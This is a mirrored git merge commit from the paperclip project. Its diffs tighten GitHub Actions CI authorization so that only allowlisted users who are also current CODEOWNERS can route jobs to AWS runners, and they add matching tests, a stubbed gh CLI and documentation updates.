mirror of
https://github.com/paperclipai/paperclip.git
synced 2026-11-03 09:37:19 +01:00
Merge branch 'codex/sleep-finish-integration' into codex/sleep-09-aggregate
* codex/sleep-finish-integration: (81 commits) fix: batch status-card source notifications fix: retain expired backup cleanup after listing failures fix(external-objects): fence selected plugin results fix(github): preserve terminal receipts across competing failure fix: preserve status-card deadline ownership through restart fix(server): isolate blocker traversal budgets per root fix: normalize run dispatch hints to company identity fix(github): retain transaction ownership and scoped credential debt Restore complete parent sources in local integration resolution fix(server): notify routine status after subtree restore Run recovery producer acceptance on isolated PostgreSQL fixtures Drive issue recovery from scoped source writes and saved deadlines refactor: remove obsolete external object batch refresh entrypoints fix(runner): accept late Antigravity login URL during drain (#18254) test: prove timer deadlines survive settled drain holds fix(server): scope backup invalidation to retained session references perf(server): batch remaining attention retention page evidence fix: preserve scoped status-card work across mutations and recovery test: prove timer deadlines survive settled drain holds test: prove timer deadlines survive settled drain holds ...
This commit is contained in:
commit
2339bd4bed
401 files changed
+18033
-4653
No files matched your search
@@ -4,20 +4,15 @@ import { spawnSync } from "node:child_process";
|
||||
import { tmpdir } from "node:os";
|
||||
import path from "node:path";
|
||||
import test from "node:test";
|
||||
import vm from "node:vm";
|
||||
|
||||
const workflow = readFileSync(new URL("../../workflows/ci-routing.yml", import.meta.url), "utf8");
|
||||
const jobs = workflow.split(/^jobs:\n/m)[1];
|
||||
|
||||
test("routing uses reserved capacity and runs no PR code or actions", () => {
|
||||
test("authorization uses hosted capacity and runs no PR code or actions", () => {
|
||||
assert.deepEqual([...jobs.matchAll(/^ {2}([a-z_]+):$/gm)].map((match) => match[1]), ["gate"]);
|
||||
const placement = jobs.match(/^ {4}runs-on: (.+)$/m)?.[1];
|
||||
assert.ok(placement, "routing placement must be defined");
|
||||
assert.doesNotMatch(placement, /fromJSON/);
|
||||
assert.ok(placement.includes("vars.AWS_CI_TRUSTED_USER_IDS == vars.AWS_CI_ROUTING_USER_IDS_SOURCE"));
|
||||
assert.ok(placement.includes("github.event.pull_request.user.id"));
|
||||
assert.ok(placement.includes("github.event.sender.id"));
|
||||
assert.ok(placement.endsWith("&& 'runs-on/fleet=paperclip-ci-routing-x64/env=public-ci' || 'ubuntu-latest' }}"));
|
||||
assert.equal(placement, "ubuntu-latest", "verify current owners before allocating any AWS runner");
|
||||
assert.doesNotMatch(jobs, /uses:|actions\/checkout|secrets\./);
|
||||
assert.doesNotMatch(workflow, /^ {2}(?:actions|contents|pull-requests): write$/m);
|
||||
});
|
||||
@@ -29,7 +24,7 @@ test("routing exports both placement and stack scope to callers", () => {
|
||||
assert.match(jobs, /^ {6}full_ci: \$\{\{ steps\.scope\.outputs\.full_ci \}\}$/m);
|
||||
});
|
||||
|
||||
const githubStub = "#!/usr/bin/env bash\nset -Eeuo pipefail\n\nendpoint=\"${*: -1}\"\ncase \"$endpoint\" in\n */pulls/*)\n jq -cn \\\n --argjson author_id \"${TEST_PR_AUTHOR_ID:-34892728}\" \\\n --argjson repository_id \"${TEST_REPOSITORY_ID:-1170821064}\" \\\n --arg base_ref \"${TEST_BASE_REF:-master}\" \\\n --arg base_sha \"${TEST_PR_BASE_SHA:-$EVENT_BASE_SHA}\" \\\n --arg head_sha \"${TEST_PR_HEAD_SHA:-1111111111111111111111111111111111111111}\" \\\n --arg merge_sha \"${TEST_PR_MERGE_SHA:-4444444444444444444444444444444444444444}\" '{\n state: \"open\",\n user: {id: $author_id},\n base: {repo: {id: $repository_id}, ref: $base_ref, sha: $base_sha},\n head: {sha: $head_sha},\n merge_commit_sha: $merge_sha\n }'\n ;;\n */git/ref/heads/*)\n jq -cn \\\n --arg sha \"${TEST_LIVE_BASE_REF_SHA:-$EVENT_BASE_SHA}\" '{object: {sha: $sha}}'\n ;;\n */compare/*)\n [[ -z \"${TEST_COMPARE_FAIL:-}\" ]] || exit 1\n default_files='[{\"filename\":\"server/src/index.ts\"}]'\n jq -cn \\\n --arg merge_base_sha \"${TEST_BASE_COMPARISON_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\" \\\n --arg status \"${TEST_BASE_COMPARISON_STATUS:-ahead}\" \\\n --argjson files \"${TEST_COMPARE_FILES:-$default_files}\" '{\n merge_base_commit: {sha: $merge_base_sha},\n status: $status,\n files: $files\n }'\n ;;\n */git/commits/*)\n requested_sha=\"${endpoint##*/}\"\n live_merge_sha=\"${TEST_PR_MERGE_SHA:-4444444444444444444444444444444444444444}\"\n synthetic_base_merge_sha=\"${TEST_SYNTHETIC_BASE_MERGE_SHA:-}\"\n if [[ \"$requested_sha\" == \"$EVENT_MERGE_SHA\" ]]; then\n tree_sha=\"${TEST_EVENT_MERGE_TREE_SHA:-5555555555555555555555555555555555555555}\"\n base_sha=\"${TEST_EVENT_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\"\n head_sha=\"${TEST_EVENT_MERGE_HEAD_SHA:-$EVENT_HEAD_SHA}\"\n elif [[ \"$requested_sha\" == \"$live_merge_sha\" ]]; then\n tree_sha=\"${TEST_LIVE_MERGE_TREE_SHA:-5555555555555555555555555555555555555555}\"\n base_sha=\"${TEST_LIVE_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\"\n head_sha=\"${TEST_LIVE_MERGE_HEAD_SHA:-$EVENT_HEAD_SHA}\"\n elif [[ -n \"$synthetic_base_merge_sha\" && \"$requested_sha\" == \"$synthetic_base_merge_sha\" ]]; then\n tree_sha=\"${TEST_SYNTHETIC_BASE_MERGE_TREE_SHA:-8888888888888888888888888888888888888888}\"\n base_sha=\"${TEST_SYNTHETIC_MASTER_PARENT_SHA:-9999999999999999999999999999999999999999}\"\n head_sha=\"${TEST_SYNTHETIC_BASE_REF_PARENT_SHA:-${TEST_LIVE_BASE_REF_SHA:-$EVENT_BASE_SHA}}\"\n else\n echo \"unexpected merge commit: $requested_sha\" >&2\n exit 1\n fi\n jq -cn \\\n --arg sha \"$requested_sha\" \\\n --arg tree_sha \"$tree_sha\" \\\n --arg base_sha \"$base_sha\" \\\n --arg head_sha \"$head_sha\" '{\n sha: $sha,\n tree: {sha: $tree_sha},\n parents: [{sha: $base_sha}, {sha: $head_sha}]\n }'\n ;;\n */actions/runs/*)\n jq -cn \\\n --argjson actor_id \"${TEST_TRIGGERING_ACTOR_ID:-34892728}\" \\\n --argjson repository_id \"${TEST_REPOSITORY_ID:-1170821064}\" \\\n --arg event_name \"${TEST_EVENT_NAME:-pull_request}\" '{\n triggering_actor: {id: $actor_id},\n repository: {id: $repository_id},\n event: $event_name\n }'\n ;;\n *)\n echo \"unexpected gh endpoint: $endpoint\" >&2\n exit 1\n ;;\nesac";
|
||||
const githubStub = "#!/usr/bin/env bash\nset -Eeuo pipefail\n\nendpoint=\"\"\nquery=\"\"\nfor arg in \"$@\"; do\n case \"$arg\" in /repos/*|/users/*) endpoint=\"$arg\" ;; esac\ndone\nif [[ \"$*\" == *\"--jq\"* ]]; then query=\"${*: -1}\"; fi\ncase \"$endpoint\" in\n */contents/scripts/ci-profile/authorize.mjs?ref=*)\n [[ -z \"${TEST_OWNER_HELPER_FAIL:-}\" ]] || exit 1\n [[ \"$endpoint\" == *\"ref=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" ]] || exit 1\n base64 < \"$TEST_OWNER_HELPER\"\n ;;\n */contents/.github/CODEOWNERS?ref=*)\n [[ -z \"${TEST_CODEOWNERS_FAIL:-}\" ]] || exit 1\n [[ \"$endpoint\" == *\"ref=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" ]] || exit 1\n jq -cn --arg content \"$TEST_CODEOWNERS_BASE64\" '{encoding: \"base64\", content: $content}'\n ;;\n /users/ci-owner)\n [[ -z \"${TEST_OWNER_LOOKUP_FAIL:-}\" ]] || exit 1\n jq -cn --argjson id \"${TEST_CI_OWNER_ID:-34892728}\" --arg type \"${TEST_CI_OWNER_TYPE:-User}\" '{id: $id, type: $type}'\n ;;\n */pulls/*)\n jq -cn \\\n --argjson author_id \"${TEST_PR_AUTHOR_ID:-34892728}\" \\\n --argjson repository_id \"${TEST_REPOSITORY_ID:-1170821064}\" \\\n --arg base_ref \"${TEST_BASE_REF:-master}\" \\\n --arg base_sha \"${TEST_PR_BASE_SHA:-$EVENT_BASE_SHA}\" \\\n --arg head_sha \"${TEST_PR_HEAD_SHA:-1111111111111111111111111111111111111111}\" \\\n --arg merge_sha \"${TEST_PR_MERGE_SHA:-4444444444444444444444444444444444444444}\" '{\n state: \"open\",\n user: {id: $author_id},\n base: {repo: {id: $repository_id}, ref: $base_ref, sha: $base_sha},\n head: {sha: $head_sha},\n merge_commit_sha: $merge_sha\n }'\n ;;\n */git/ref/heads/*)\n if [[ \"$query\" == \".object.sha\" ]]; then\n [[ -z \"${TEST_MASTER_FAIL:-}\" ]] || exit 1\n echo \"${TEST_TRUSTED_MASTER_SHA:-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}\"\n exit 0\n fi\n jq -cn \\\n --arg sha \"${TEST_LIVE_BASE_REF_SHA:-$EVENT_BASE_SHA}\" '{object: {sha: $sha}}'\n ;;\n */compare/*)\n [[ -z \"${TEST_COMPARE_FAIL:-}\" ]] || exit 1\n default_files='[{\"filename\":\"server/src/index.ts\"}]'\n jq -cn \\\n --arg merge_base_sha \"${TEST_BASE_COMPARISON_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\" \\\n --arg status \"${TEST_BASE_COMPARISON_STATUS:-ahead}\" \\\n --argjson files \"${TEST_COMPARE_FILES:-$default_files}\" '{\n merge_base_commit: {sha: $merge_base_sha},\n status: $status,\n files: $files\n }'\n ;;\n */git/commits/*)\n requested_sha=\"${endpoint##*/}\"\n live_merge_sha=\"${TEST_PR_MERGE_SHA:-4444444444444444444444444444444444444444}\"\n synthetic_base_merge_sha=\"${TEST_SYNTHETIC_BASE_MERGE_SHA:-}\"\n if [[ \"$requested_sha\" == \"$EVENT_MERGE_SHA\" ]]; then\n tree_sha=\"${TEST_EVENT_MERGE_TREE_SHA:-5555555555555555555555555555555555555555}\"\n base_sha=\"${TEST_EVENT_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\"\n head_sha=\"${TEST_EVENT_MERGE_HEAD_SHA:-$EVENT_HEAD_SHA}\"\n elif [[ \"$requested_sha\" == \"$live_merge_sha\" ]]; then\n tree_sha=\"${TEST_LIVE_MERGE_TREE_SHA:-5555555555555555555555555555555555555555}\"\n base_sha=\"${TEST_LIVE_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\"\n head_sha=\"${TEST_LIVE_MERGE_HEAD_SHA:-$EVENT_HEAD_SHA}\"\n elif [[ -n \"$synthetic_base_merge_sha\" && \"$requested_sha\" == \"$synthetic_base_merge_sha\" ]]; then\n tree_sha=\"${TEST_SYNTHETIC_BASE_MERGE_TREE_SHA:-8888888888888888888888888888888888888888}\"\n base_sha=\"${TEST_SYNTHETIC_MASTER_PARENT_SHA:-9999999999999999999999999999999999999999}\"\n head_sha=\"${TEST_SYNTHETIC_BASE_REF_PARENT_SHA:-${TEST_LIVE_BASE_REF_SHA:-$EVENT_BASE_SHA}}\"\n else\n echo \"unexpected merge commit: $requested_sha\" >&2\n exit 1\n fi\n jq -cn \\\n --arg sha \"$requested_sha\" \\\n --arg tree_sha \"$tree_sha\" \\\n --arg base_sha \"$base_sha\" \\\n --arg head_sha \"$head_sha\" '{\n sha: $sha,\n tree: {sha: $tree_sha},\n parents: [{sha: $base_sha}, {sha: $head_sha}]\n }'\n ;;\n */actions/runs/*/attempts/*)\n jq -cn \\\n --argjson actor_id \"${TEST_TRIGGERING_ACTOR_ID:-34892728}\" \\\n --argjson repository_id \"${TEST_REPOSITORY_ID:-1170821064}\" \\\n --argjson run_attempt \"${TEST_RUN_ATTEMPT:-1}\" \\\n --arg event_name \"${TEST_EVENT_NAME:-pull_request}\" '{\n run_attempt: $run_attempt,\n triggering_actor: {id: $actor_id},\n repository: {id: $repository_id},\n event: $event_name\n }'\n ;;\n *)\n echo \"unexpected gh endpoint: $endpoint\" >&2\n exit 1\n ;;\nesac";
|
||||
|
||||
function stepScript(name) {
|
||||
const start = workflow.indexOf(` - name: ${name}\n`);
|
||||
@@ -54,6 +49,9 @@ function executeStep(name, overrides = {}) {
|
||||
...process.env,
|
||||
PATH: `${directory}:${process.env.PATH}`,
|
||||
GITHUB_OUTPUT: output,
|
||||
RUNNER_TEMP: directory,
|
||||
TEST_OWNER_HELPER: path.resolve("scripts/ci-profile/authorize.mjs"),
|
||||
TEST_CODEOWNERS_BASE64: Buffer.from(".github/** @ci-owner\n").toString("base64"),
|
||||
AWS_CI_ENABLED: "true",
|
||||
TRUSTED_USER_IDS: "[34892728]",
|
||||
EVENT_NAME: "pull_request",
|
||||
@@ -69,6 +67,7 @@ function executeStep(name, overrides = {}) {
|
||||
EVENT_HEAD_SHA: "1111111111111111111111111111111111111111",
|
||||
EVENT_MERGE_SHA: "2222222222222222222222222222222222222222",
|
||||
RUN_ID: "123456789",
|
||||
RUN_ATTEMPT: "1",
|
||||
...overrides,
|
||||
},
|
||||
});
|
||||
@@ -106,6 +105,22 @@ const routeCases = [
|
||||
["unlisted author", { EVENT_PR_AUTHOR_ID: "99999999" }],
|
||||
["unlisted sender", { EVENT_SENDER_ID: "99999999" }],
|
||||
["unlisted rerun actor", { TEST_TRIGGERING_ACTOR_ID: "99999999" }],
|
||||
["allowlisted user removed from CODEOWNERS", { TEST_CI_OWNER_ID: "99999999" }],
|
||||
["CODEOWNER not on numeric allowlist", { TRUSTED_USER_IDS: "[99999999]" }],
|
||||
["non-owner PR with owner rerun", { EVENT_PR_AUTHOR_ID: "99999999", TEST_PR_AUTHOR_ID: "99999999", TRUSTED_USER_IDS: "[34892728,99999999]" }],
|
||||
["non-owner event sender", { EVENT_SENDER_ID: "99999999", TRUSTED_USER_IDS: "[34892728,99999999]" }],
|
||||
["non-owner rerun actor", { TEST_TRIGGERING_ACTOR_ID: "99999999", TRUSTED_USER_IDS: "[34892728,99999999]" }],
|
||||
["CODEOWNERS unavailable", { TEST_CODEOWNERS_FAIL: "1" }],
|
||||
["owner identity unavailable", { TEST_OWNER_LOOKUP_FAIL: "1" }],
|
||||
["owner is not a person", { TEST_CI_OWNER_TYPE: "Bot" }],
|
||||
["trusted helper unavailable", { TEST_OWNER_HELPER_FAIL: "1" }],
|
||||
["trusted master unavailable", { TEST_MASTER_FAIL: "1" }],
|
||||
["invalid trusted master", { TEST_TRUSTED_MASTER_SHA: "bad" }],
|
||||
["documentation owners do not authorize CI", { TEST_CODEOWNERS_BASE64: Buffer.from("doc/** @ci-owner\n").toString("base64") }],
|
||||
["ambiguous CODEOWNERS deny access", { TEST_CODEOWNERS_BASE64: Buffer.from(".github/** @ci-owner\n/.github/** @ci-owner\n").toString("base64") }],
|
||||
["malformed run attempt", { RUN_ATTEMPT: "bad" }],
|
||||
["wrong run attempt", { TEST_RUN_ATTEMPT: "2" }],
|
||||
["owner rerun validates its own attempt", { RUN_ATTEMPT: "2", TEST_RUN_ATTEMPT: "2" }, awsRunner],
|
||||
["missing base", { EVENT_BASE_REF: "" }],
|
||||
["wrong base repository", { EVENT_BASE_REPOSITORY_ID: "999999999" }],
|
||||
["replaced base ancestry", { TEST_BASE_COMPARISON_MERGE_BASE_SHA: "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" }],
|
||||
@@ -226,53 +241,3 @@ test("path scope skips full CI for a single-PR stack that only touches release n
|
||||
TEST_COMPARE_FILES: files("releases/v2026.1015.0.md"),
|
||||
}).full_ci, "false");
|
||||
});
|
||||
|
||||
|
||||
function routingPlacement(vars = {}, github = {}) {
|
||||
const source = "[34892728]";
|
||||
const expression = jobs.match(/^ {4}runs-on: \$\{\{ (.+) \}\}$/m)?.[1];
|
||||
assert.ok(expression, "routing expression is missing");
|
||||
return vm.runInNewContext(expression, {
|
||||
vars: {
|
||||
AWS_CI_ENABLED: "true",
|
||||
AWS_CI_TRUSTED_USER_IDS: source,
|
||||
AWS_CI_ROUTING_USER_IDS_SOURCE: source,
|
||||
AWS_CI_ROUTING_USER_IDS: "|34892728|",
|
||||
...vars,
|
||||
},
|
||||
github: {
|
||||
repository: "paperclipai/paperclip",
|
||||
repository_id: "1170821064",
|
||||
event_name: "pull_request",
|
||||
ref: "refs/heads/master",
|
||||
actor_id: "34892728",
|
||||
event: { pull_request: { user: { id: 34892728 } }, sender: { id: 34892728 } },
|
||||
...github,
|
||||
},
|
||||
contains: (search, item) => String(search).toLowerCase().includes(String(item).toLowerCase()),
|
||||
format: (template, ...args) => template.replace(/\{(\d+)\}/g, (_, index) => String(args[Number(index)])),
|
||||
}, { timeout: 1000 });
|
||||
}
|
||||
|
||||
const placementCases = [
|
||||
["approved PR", {}, {}, "runs-on/fleet=paperclip-ci-routing-x64/env=public-ci"],
|
||||
["unapproved author", {}, { event: { pull_request: { user: { id: 999 } }, sender: { id: 34892728 } } }],
|
||||
["unapproved sender", {}, { event: { pull_request: { user: { id: 34892728 } }, sender: { id: 999 } } }],
|
||||
["partial ID cannot match", {}, { event: { pull_request: { user: { id: 4892728 } }, sender: { id: 34892728 } } }],
|
||||
["invalid JSON keeps hosted fallback", { AWS_CI_TRUSTED_USER_IDS: "[34892728,]" }, {}],
|
||||
["stale snapshot", { AWS_CI_TRUSTED_USER_IDS: "[34892728,999]" }, {}],
|
||||
["missing snapshot", { AWS_CI_ROUTING_USER_IDS_SOURCE: "" }, {}],
|
||||
["missing admission members", { AWS_CI_ROUTING_USER_IDS: "" }, {}],
|
||||
["disabled routing", { AWS_CI_ENABLED: "false" }, {}],
|
||||
["different repository", {}, { repository: "other/repo" }],
|
||||
["different repository ID", {}, { repository_id: "999" }],
|
||||
["approved manual master canary", {}, { event_name: "workflow_dispatch" }, "runs-on/fleet=paperclip-ci-routing-x64/env=public-ci"],
|
||||
["unapproved manual actor", {}, { event_name: "workflow_dispatch", actor_id: "999" }],
|
||||
["manual branch canary", {}, { event_name: "workflow_dispatch", ref: "refs/heads/other" }],
|
||||
];
|
||||
|
||||
for (const [name, vars, github, expected = "ubuntu-latest"] of placementCases) {
|
||||
test(`placement before allocation: ${name}`, () => {
|
||||
assert.equal(routingPlacement(vars, github), expected);
|
||||
});
|
||||
}
|
||||
@@ -89,6 +89,7 @@ jobs:
|
||||
run: |
|
||||
mkdir -m 700 "$ALLURE_RESULTS"
|
||||
allurectl watch -- node tests/runner-e2e/testops-chat-reporter.mjs bootstrap
|
||||
node tests/runner-e2e/testops-chat-reporter.mjs bootstrap-context
|
||||
- name: Validate the one real TestOps selection before any build or provider access
|
||||
id: selection
|
||||
if: needs.authorize.outputs.operation == 'evaluate'
|
||||
@@ -134,6 +135,8 @@ jobs:
|
||||
${{ runner.temp }}/chat-testops-bootstrap-state/plan.json
|
||||
${{ runner.temp }}/chat-testops-bootstrap-state/job.json
|
||||
${{ runner.temp }}/chat-testops-bootstrap-state/failure.json
|
||||
${{ runner.temp }}/chat-testops-bootstrap-state/registration.json
|
||||
${{ runner.temp }}/chat-testops-bootstrap-state/registration-failure.json
|
||||
retention-days: 30
|
||||
if-no-files-found: error
|
||||
- name: Retain the one plan-launch receipt and stop state
|
||||
|
||||
@@ -58,6 +58,7 @@ jobs:
|
||||
for (const [file, project, related] of [
|
||||
['ui/src/pages/Inbox.tsx', '@paperclipai/ui', 'ui/src/pages/Inbox.test.tsx'],
|
||||
['server/src/middleware/auth.ts', '@paperclipai/server', 'server/src/__tests__/agent-auth-middleware.test.ts'],
|
||||
['server/src/storage/config.test.ts', '@paperclipai/server', 'server/src/storage/config.test.ts'],
|
||||
]) {
|
||||
const selected = await createTestSelection(planTasks({ config, lanes, paths: [file, "doc/DEVELOPING.md", "doc/plans/2026-10-30-ci-proof.md"] }), head);
|
||||
const graph = selected.graphs.find(graph => graph.project === project);
|
||||
|
||||
@@ -21,7 +21,9 @@ permissions:
|
||||
jobs:
|
||||
gate:
|
||||
name: Select trusted runner
|
||||
runs-on: ${{ vars.AWS_CI_ENABLED == 'true' && vars.AWS_CI_ROUTING_USER_IDS_SOURCE != '' && vars.AWS_CI_TRUSTED_USER_IDS == vars.AWS_CI_ROUTING_USER_IDS_SOURCE && github.repository == 'paperclipai/paperclip' && github.repository_id == '1170821064' && ((github.event_name == 'pull_request' && contains(vars.AWS_CI_ROUTING_USER_IDS, format('|{0}|', github.event.pull_request.user.id)) && contains(vars.AWS_CI_ROUTING_USER_IDS, format('|{0}|', github.event.sender.id))) || (github.event_name == 'workflow_dispatch' && github.ref == 'refs/heads/master' && contains(vars.AWS_CI_ROUTING_USER_IDS, format('|{0}|', github.actor_id)))) && 'runs-on/fleet=paperclip-ci-routing-x64/env=public-ci' || 'ubuntu-latest' }}
|
||||
# No AWS capacity is allocated until current CI CODEOWNERS are verified.
|
||||
# A cached numeric allowlist alone can outlive removal from CODEOWNERS.
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 5
|
||||
outputs:
|
||||
plan: ${{ steps.plan.outputs.plan }}
|
||||
@@ -51,6 +53,7 @@ jobs:
|
||||
EVENT_HEAD_SHA: ${{ github.event.pull_request.head.sha }}
|
||||
EVENT_MERGE_SHA: ${{ github.sha }}
|
||||
RUN_ID: ${{ github.run_id }}
|
||||
RUN_ATTEMPT: ${{ github.run_attempt }}
|
||||
run: |
|
||||
set -u
|
||||
|
||||
@@ -73,7 +76,8 @@ jobs:
|
||||
|
||||
is_allowed() {
|
||||
local user_id="$1"
|
||||
jq -e --argjson user_id "$user_id" 'index($user_id) != null' \
|
||||
jq -e --argjson user_id "$user_id" --argjson owners "$owner_ids" \
|
||||
'index($user_id) != null and ($owners | index($user_id) != null)' \
|
||||
<<< "$TRUSTED_USER_IDS" >/dev/null
|
||||
}
|
||||
|
||||
@@ -94,9 +98,27 @@ jobs:
|
||||
all(.[]; type == "number" and . > 0 and floor == .)
|
||||
' <<< "$TRUSTED_USER_IDS" >/dev/null 2>&1 || fail_closed 'trusted user ID list is malformed'
|
||||
|
||||
# Both the resolver and CODEOWNERS come from the same protected master
|
||||
# revision. Never use the PR's CODEOWNERS or execute its source here.
|
||||
trusted_sha="$(gh api /repos/paperclipai/paperclip/git/ref/heads/master --jq .object.sha)" \
|
||||
|| fail_closed 'could not resolve trusted CODEOWNERS revision'
|
||||
is_commit_sha "$trusted_sha" || fail_closed 'invalid trusted CODEOWNERS revision'
|
||||
owner_helper="$RUNNER_TEMP/aws-ci-owners.mjs"
|
||||
if ! gh api "/repos/paperclipai/paperclip/contents/scripts/ci-profile/authorize.mjs?ref=$trusted_sha" \
|
||||
--jq '.content' > "$owner_helper.base64" ||
|
||||
! base64 --decode < "$owner_helper.base64" > "$owner_helper"; then
|
||||
fail_closed 'could not load trusted CODEOWNERS resolver'
|
||||
fi
|
||||
owner_ids="$(node --input-type=module - "$owner_helper" "$trusted_sha" <<'NODE'
|
||||
import { pathToFileURL } from 'node:url';
|
||||
const { trustedOwnerIds } = await import(pathToFileURL(process.argv[2]));
|
||||
console.log(JSON.stringify(trustedOwnerIds(undefined, process.argv[3])));
|
||||
NODE
|
||||
)" || fail_closed 'could not verify current CI CODEOWNERS'
|
||||
|
||||
for user_id in "$EVENT_PR_AUTHOR_ID" "$EVENT_SENDER_ID"; do
|
||||
is_positive_integer "$user_id" || fail_closed 'event contains a malformed user ID'
|
||||
is_allowed "$user_id" || fail_closed "GitHub user ID $user_id is not allowlisted"
|
||||
is_allowed "$user_id" || fail_closed "GitHub user ID $user_id is not an allowlisted CI CODEOWNER"
|
||||
done
|
||||
|
||||
for commit_sha in "$EVENT_BASE_SHA" "$EVENT_HEAD_SHA" "$EVENT_MERGE_SHA"; do
|
||||
@@ -204,20 +226,24 @@ jobs:
|
||||
[[ "$event_merge_tree" == "$live_merge_tree" ]] \
|
||||
|| fail_closed 'current merge tree differs from the triggering merge tree'
|
||||
|
||||
is_positive_integer "$RUN_ID" || fail_closed 'invalid workflow run ID'
|
||||
is_positive_integer "$RUN_ATTEMPT" || fail_closed 'invalid workflow run attempt'
|
||||
run_json="$(gh api \
|
||||
-H 'Accept: application/vnd.github+json' \
|
||||
-H 'X-GitHub-Api-Version: 2022-11-28' \
|
||||
"/repos/paperclipai/paperclip/actions/runs/$RUN_ID" 2>/dev/null)" \
|
||||
"/repos/paperclipai/paperclip/actions/runs/$RUN_ID/attempts/$RUN_ATTEMPT" 2>/dev/null)" \
|
||||
|| fail_closed 'could not refresh workflow run state'
|
||||
|
||||
triggering_actor_id="$(jq -r '.triggering_actor.id // empty' <<< "$run_json")"
|
||||
is_positive_integer "$triggering_actor_id" || fail_closed 'workflow run has no valid triggering actor ID'
|
||||
is_allowed "$triggering_actor_id" || fail_closed "triggering GitHub user ID $triggering_actor_id is not allowlisted"
|
||||
is_allowed "$triggering_actor_id" || fail_closed "triggering GitHub user ID $triggering_actor_id is not an allowlisted CI CODEOWNER"
|
||||
|
||||
jq -e \
|
||||
--argjson repository_id 1170821064 \
|
||||
--argjson run_attempt "$RUN_ATTEMPT" \
|
||||
--arg event_name "$EVENT_NAME" '
|
||||
.repository.id == $repository_id and
|
||||
.run_attempt == $run_attempt and
|
||||
.event == $event_name
|
||||
' <<< "$run_json" >/dev/null 2>&1 \
|
||||
|| fail_closed 'current workflow run does not match the expected repository event'
|
||||
|
||||
@@ -1545,6 +1545,23 @@ named `review_wait_benchmark...` can be supplied through
|
||||
`PAPERCLIP_TEST_DATABASE_URL` to compare another PostgreSQL major version.
|
||||
DataRow bytes exclude response metadata and transport overhead.
|
||||
|
||||
|
||||
### Sandbox creation ownership
|
||||
|
||||
Migration 0418 adds `sandbox_creation_operations`. Admission commits company,
|
||||
original environment, run, request key and provider identity before external
|
||||
creation. Configuration contains nonsecret values and existing secret references.
|
||||
The original identity survives environment, run, task and company deletion; only
|
||||
the optional live environment FK uses SET NULL. Company/run deletion must not
|
||||
erase an outstanding remote-resource obligation.
|
||||
|
||||
The unique company/environment/run/request index fences duplicate creation and
|
||||
ambiguous successful lease commits. Normal lease attachment and operation transfer
|
||||
share a transaction. Recovery transfers one claimed cleanup lease after provider
|
||||
ownership lookup. The pending deadline index drives the existing cleanup worker.
|
||||
`needs_reconciliation` is a durable manual outcome, not an automatic retry or an
|
||||
idle blocker. See [cleanup ownership](idle-environment-cleanup.md).
|
||||
|
||||
## Object-backed run evidence
|
||||
|
||||
Optional segmented run logs and raw provider traces store their payloads and
|
||||
|
||||
+108
-21
@@ -146,19 +146,19 @@ New workflow versions merged into master then receive runner access without a
|
||||
separate SHA allowlist update. Dependabot leaves this first-party reference on
|
||||
master.
|
||||
|
||||
Runner selection calls `ci-routing.yml@master` on the dedicated
|
||||
`paperclip-ci-routing-x64` AWS Fleet. The `paperclip-ci-routing` runner group
|
||||
admits only `paperclipai/paperclip/.github/workflows/ci-routing.yml@refs/heads/master`
|
||||
and repository ID `1170821064`. GitHub evaluates the canonical repository, author, and sender checks before
|
||||
allocating reserved capacity. The validated admission snapshot (`AWS_CI_ROUTING_USER_IDS_SOURCE` and
|
||||
`AWS_CI_ROUTING_USER_IDS`) must match `AWS_CI_TRUSTED_USER_IDS`. Refresh it through
|
||||
the runner-group configuration helper when the roster changes. Missing, stale,
|
||||
or malformed settings keep hosted routing available without evaluating JSON
|
||||
in the job's placement expression. Unapproved PRs use hosted metadata routing;
|
||||
approved manual canaries on master can use the reserved pool. The routing
|
||||
workflow reads GitHub metadata without checking out or executing PR code. Its author, sender, rerun actor,
|
||||
repository, head, and merge validation still decide whether tests can use AWS.
|
||||
Unapproved test workloads continue to use GitHub-hosted runners.
|
||||
Runner selection calls `ci-routing.yml@master` on a GitHub-hosted runner. It
|
||||
verifies authorization before allocating any AWS capacity and never checks out
|
||||
or executes PR code. The author, event sender and rerun actor must each be both
|
||||
in `AWS_CI_TRUSTED_USER_IDS` and a current owner of `.github/**` in CODEOWNERS.
|
||||
The resolver and CODEOWNERS are read from the same protected master revision;
|
||||
PR edits cannot change the trusted owner list. Documentation-only owners,
|
||||
unsupported owner rules and failed identity lookups do not authorize AWS.
|
||||
Repository, head and merge validation also apply. Missing or malformed settings
|
||||
and unverifiable authorization use GitHub-hosted runners. A maintainer rerunning
|
||||
an outside contributor's PR does not grant it AWS access.
|
||||
Authorized test jobs and the final `verify` and `e2e` aggregates use the selected
|
||||
AWS fleet. The metadata authorization job remains hosted even for maintainers,
|
||||
so stale admission snapshots cannot allocate an AWS runner before verification.
|
||||
|
||||
The routing workflow also selects the CI scope. Middle PRs in a stack and PRs
|
||||
whose diff changes only release notes (`releases/v*.md` or
|
||||
@@ -213,7 +213,11 @@ coverage without paying for another graph traversal. Filesystem, subprocess, net
|
||||
dynamic-loader, unresolved, and unapproved external-package consumers are
|
||||
retained conservatively, including indirect consumers through local helpers.
|
||||
The selector explicitly tracks setup/configuration dependencies as well as test
|
||||
imports. The small pure-dependency allowlist lives in
|
||||
imports. Ordinary source names such as `session-config-metadata.test.ts` or
|
||||
`setup-state.ts` remain eligible; the words `config` and `setup` alone do not
|
||||
force full CI. Conventional Vite/Vitest config and setup files remain broad
|
||||
inputs. Other resolved setup/config dependencies invalidate their entire project.
|
||||
The small pure-dependency allowlist lives in
|
||||
`scripts/ci/vitest-selection-graph.mjs`; new external packages remain opaque
|
||||
until reviewed. This is deliberately broader than `vitest related` alone.
|
||||
For conservative retention, explicit complete local mock factories cut the
|
||||
@@ -236,6 +240,9 @@ existing selection/execution rules. The job summary reports files and jobs
|
||||
selected per lane, and the `vitest-selection` artifact records the manifest and
|
||||
dependency audit. Selected jobs execute exact Vitest test specifications, so
|
||||
similarly named `.test.ts` and `.test.tsx` files cannot overlap between shards.
|
||||
